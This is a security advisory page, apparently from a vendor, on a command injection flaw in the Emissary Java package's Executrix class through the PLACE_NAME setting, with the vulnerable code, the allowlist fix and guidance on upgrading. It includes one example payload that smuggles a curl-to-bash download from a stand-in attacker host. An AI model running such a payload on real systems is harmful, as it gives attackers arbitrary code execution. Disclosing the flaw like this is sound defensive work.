GHSA-6c37-7w4p-jg9v is a high-severity (CVSS 7.2) OS Command Injection vulnerability in gov.nsa.emissary:emissary. A fix is available for gov.nsa.emissary:emissary — see the affected versions and patch details below.
Emissary has a Command Injection via PLACE_NAME Configuration in Executrix
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6c37-7w4p-jg9v.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6c37-7w4p-jg9v plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gov.nsa.emissary:emissaryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Executrix utility class constructed shell commands by concatenating
configuration-derived values — including the PLACE_NAME parameter — with
insufficient sanitization. Only spaces were replaced with underscores, allowing
shell metacharacters (;, |, $, `, (, ), etc.) to pass through
into /bin/sh -c command execution.
Details
Vulnerable code — Executrix.java
Insufficient sanitization (line 132):
this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through
Shell sink (line 1052–1058):
protected String[] getTimedCommand(final String c) {
return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}
Data flow
PLACE_NAMEis read from a configuration fileExecutrixapplies only a space-to-underscore replacement- The
placeNameis used to construct temporary directory paths (tmpNames[DIR]) tmpNames[DIR]is concatenated into a shell command string- The command is executed via
/bin/sh -c
Example payload
PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"
After the original sanitization: test;curl_attacker.com/shell.sh|bash;x
(semicolons, pipes, and other metacharacters preserved)
Impact
- Arbitrary command execution on the Emissary host
- Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)
Remediation
Fixed in PR #1290, merged into release 8.39.0.
The space-only replacement was replaced with an allowlist regex that strips all
characters not matching [a-zA-Z0-9_-]:
protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");
protected static String cleanPlaceName(final String placeName) {
return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}
This ensures that any shell metacharacter in the PLACE_NAME configuration
value is replaced with an underscore before it can reach a command string.
Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.
Workarounds
If upgrading is not immediately possible, ensure that PLACE_NAME values in all
configuration files contain only alphanumeric characters, underscores, and hyphens.
References
- PR #1290 — validate placename with an allowlist
- Original report: GHSA-wjqm-p579-x3ww
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | gov.nsa.emissary:emissary | all versions | 8.39.0gov.nsa.emissary:emissary:8.39.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gov.nsa.emissary:emissary, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gov.nsa.emissary:emissary to 8.39.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6c37-7w4p-jg9v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-6c37-7w4p-jg9v can be triaged on real exposure rather than presence alone.
Tailored to GHSA-6c37-7w4p-jg9v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6c37-7w4p-jg9v in your dependencies?
O3 Security finds GHSA-6c37-7w4p-jg9v across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.